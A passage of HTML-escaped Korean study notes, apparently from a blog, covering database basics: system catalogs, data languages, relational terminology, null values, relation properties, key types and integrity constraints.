&lt;li&gt;&lt;span&gt;스카마&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정보&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;사상&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정보&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;등을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;저장한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시스템&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; ( = &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사전&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시스템이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;유지하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시스템용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;메타&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;유지&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;일반&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용자도&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;접근&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;가능&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;디렉토리&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;시스템&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;카탈로그를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;접근하기&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;위한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정보&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;사용자&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;접근&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;불가능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;시스템만&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;접근&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;가능&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;언어&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정의어&lt;/span&gt;&lt;span&gt; (Data Definition Language)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터베이스를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정의하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;용도&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;조작어&lt;/span&gt;&lt;span&gt; (Data Manipulation Language)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;추가&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;조회&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;갱신&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;삭제&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;용도&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제어어&lt;/span&gt;&lt;span&gt; (Data Control Language)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;보안&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;무결성&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;병행제어&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;회복을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;위한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;언어&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;도구&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;대량&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;적재&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;도구&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Import / Export Tool&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;백업&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;도구&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;파일&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;재조직&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;도구&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;성능&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;모니터링&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;도구&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;[ &lt;/span&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; ]&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;인스턴스&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스키마&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;속성들의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;집합으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;릴레이션의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;논리적&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구조&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스킴&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내포이라고도&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;함&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;시간에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;따라&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변하지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;않음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;인스턴스&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;일정&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시점에서의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;투플&lt;/span&gt;&lt;span&gt;(Tuple)&lt;/span&gt;&lt;span&gt;들의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;집합&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;시간에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;따라&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변함&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;투플&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;속성에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해당하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;모임&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;속성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;단순&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;단일값&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;복합&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;단순&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;도메인의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;결합으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이루어진&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성&lt;/span&gt;&lt;span&gt; ( ex. DATA&lt;/span&gt;&lt;span&gt;는&lt;/span&gt;&lt;span&gt; YEAR, MONTH, DAY &lt;/span&gt;&lt;span&gt;결합&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;일반적으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;하나의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성값으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;취급&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;속성의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;값은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;분해할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;없는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;원자값&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;도메인&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;속성이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;취할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;원자값들의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;집합&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;릴레이션의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수학적&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;의미&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;도메인&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;순서쌍&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;집합의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;부분&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;집합&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;릴레이션의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;차수&lt;/span&gt;&lt;span&gt; (Degree)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이루는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;개수&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;카디널러티&lt;/span&gt;&lt;span&gt; (Cardinality)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;포함된&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;투플의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;개수&lt;/span&gt;&lt;span&gt; ( &lt;/span&gt;&lt;span&gt;인스턴스의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;개수&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;널&lt;/span&gt;&lt;span&gt; (Null) &lt;/span&gt;&lt;span&gt;값&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;정보의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;부재를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;나타내는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;특수한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;값&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;아직&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;알려지지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;않은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;값&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;값이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있지만&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;아직&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;모르는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;값&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;공백&lt;/span&gt;&lt;span&gt;(Blank) &lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;영&lt;/span&gt;&lt;span&gt;(Zero)&lt;/span&gt;&lt;span&gt;와는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;다름&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;특성&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;투플의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;상이성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;포함된&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;투플은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;모두&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;상의&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;모든&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;값이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;동일한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;투플이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;존재해서는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;않됨&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;투플의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;무순서성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;투플들&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;간에는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;순서가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;없음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;속성의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;무순서성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성들간에는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;순서가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;없음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;속성의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;원자성&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;모든&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;값은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;원자값&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;모델은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정규화&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;릴레이션만을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;대상으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;함&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;데이터베이스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;키&lt;/span&gt;&lt;span&gt; (Key)&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;키&lt;/span&gt;&lt;span&gt; (Key)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;투플을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;항상&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;유일하게&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;식별할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성들의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;집합&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;= &lt;/span&gt;&lt;span&gt;투플&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;식별자&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;후보키&lt;/span&gt;&lt;span&gt; (Candidate Key)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;다음&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;조건을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;모두&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;만족하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;키&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;유일성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;최소성&lt;/span&gt;&lt;span&gt; ( &lt;/span&gt;&lt;span&gt;하나의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성이라도&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제외하면&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;키가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;되지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;못함&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;모든&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;릴레이션은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;적어도&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;하나의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;후보키를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;갖음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;수퍼키&lt;/span&gt;&lt;span&gt; (Super Key)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;유일성은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;만족하나&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;최소성은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;만족하지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;못하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;키&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;기본키&lt;/span&gt;&lt;span&gt; (Primary Key, PK)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;후보키들&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;중에서&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;설계자가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;특별히&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;지정한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;키&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Null &lt;/span&gt;&lt;span&gt;값을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;가질&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;없음&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;접근&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;방법과&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관련하여&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;중요한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;의미를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;가짐&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;대체키&lt;/span&gt;&lt;span&gt; (Alternate Key)&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;기본키로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;지정되지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;않은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;후보키&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;무결성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제약&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;개체&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;무결성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제약&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;기본키에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해당하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속성은&lt;/span&gt;&lt;span&gt; Null &lt;/span&gt;&lt;span&gt;값이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;될&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;없음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;참조&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;무결성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제약&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;참조할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;없는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;외래키&lt;/span&gt;&lt;span&gt; (FK) &lt;/span&gt;&lt;span&gt;값을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;가져서는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;안됨&lt;/span&gt;&lt;/li&gt;
